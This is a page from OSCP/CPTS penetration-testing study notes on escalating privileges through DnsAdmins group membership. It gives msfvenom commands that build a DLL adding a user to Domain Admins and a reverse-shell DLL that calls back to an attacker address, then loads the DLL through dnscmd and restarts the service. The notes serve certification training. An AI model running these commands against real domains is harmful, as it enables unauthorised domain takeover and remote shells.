OSCP-CPTS NOTES
TwitterGithubLinkedinInstagramDiscord
  • oscp-cpts-notes
  • Pivoting & Tunneling
    • Local Port Forwarding
    • Remote Port Forwarding
    • Dynamic Port Forwarding
    • Ligolo-ng
  • Linux Privilege Escalation
    • Gathering Information of the System
    • Capabilities
    • Group Based
    • SUID Privilege Escalation
    • Cron Job
    • Exploiting NFS weak Permission
    • Sudo + LD_PRELOAD (Shared Libraries)
    • Shared Object Manipulation
    • Python Library Hijacking
  • Windows Privilege Escalation
    • Gathering Information of the System
    • User Privileges
      • SeImpersonatePrivilege and SeAssignPrimaryToken
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
    • Group Privileges
      • Backup Operators
      • DnsAdmins
      • Server Operators
      • Always Install Elevated
      • Print Operators
      • Event Log Readers
      • Hyper-V Administrators
    • Credential Theft
  • Active Directory Attacks
    • Enumeration
    • Initial Foothold
    • Gathering Users & Password Policies
    • Password Spraying
    • Credentialed Enumeration From Linux
    • Credentialed Enumeration From Windows
    • Kerberoasting - From Linux
    • Kerberoasting - From Windows
  • Beyond OSCP - CPTS
    • RED TEAMING
      • Windows Local Persistence
        • Tampering With Unprivileged Accounts
        • Backdooring Files
        • Abusing Services
        • Abusing Scheduled Tasks
        • Logon Triggered Persistence
        • Backdooring the Login Screen / RDP
        • Persisting Through Existing Services
Powered by GitBook
On this page

Was this helpful?

Edit on GitHub
  1. Windows Privilege Escalation
  2. Group Privileges

DnsAdmins

PreviousBackup OperatorsNextServer Operators

Last updated 7 months ago

Was this helpful?

Members of the group possess access to DNS information on the network, which can be exploited for privilege escalation. By leveraging this group’s permissions, we can create a malicious DLL that adds a user to the Domain Admins group or provides a reverse shell.

Generating Malicious DLLs with msfvenom

  1. Creating a DLL to Add a User to the Domain Admins Group: To create a DLL that executes a command to add a user to the Domain Admins group, use the following command:

    msfvenom -p windows/x64/exec cmd='net group "Domain Admins" netadm /add /domain' -f dll -o adduser.dll

    This command creates a DLL named adduser.dll, which will execute the command to add the specified user (netadm) to the Domain Admins group.

  2. Creating a DLL for a Reverse Shell: To generate a DLL that provides a reverse shell, use the following command:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.01 LPORT=5555 -f dll > dbs.dll

    This command creates a DLL named dbs.dll that will establish a reverse shell connection back to the attacker's machine.

Loading the DLL into the DNS Service

After generating the desired DLL, transfer it to the target machine. Next, load the DLL into the DNS service by executing the following command:

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

This command configures the DNS server to load the adduser.dll the next time the service starts.

Starting the DNS Service

To execute the DLL, the DNS service needs to be restarted. Run the following commands:

sc.exe stop dns
sc.exe start dns

If you lack the necessary permissions to start or stop the DNS service, you may need to wait until the service is restarted naturally, which could occur due to maintenance or other scheduled tasks.

Verification

To confirm that the user has been successfully added to the Domain Admins group, execute the following command:

net group "Domain Admins" /dom

This command will display the members of the Domain Admins group, allowing you to verify that the new user (netadm) has been added successfully.

DnsAdmins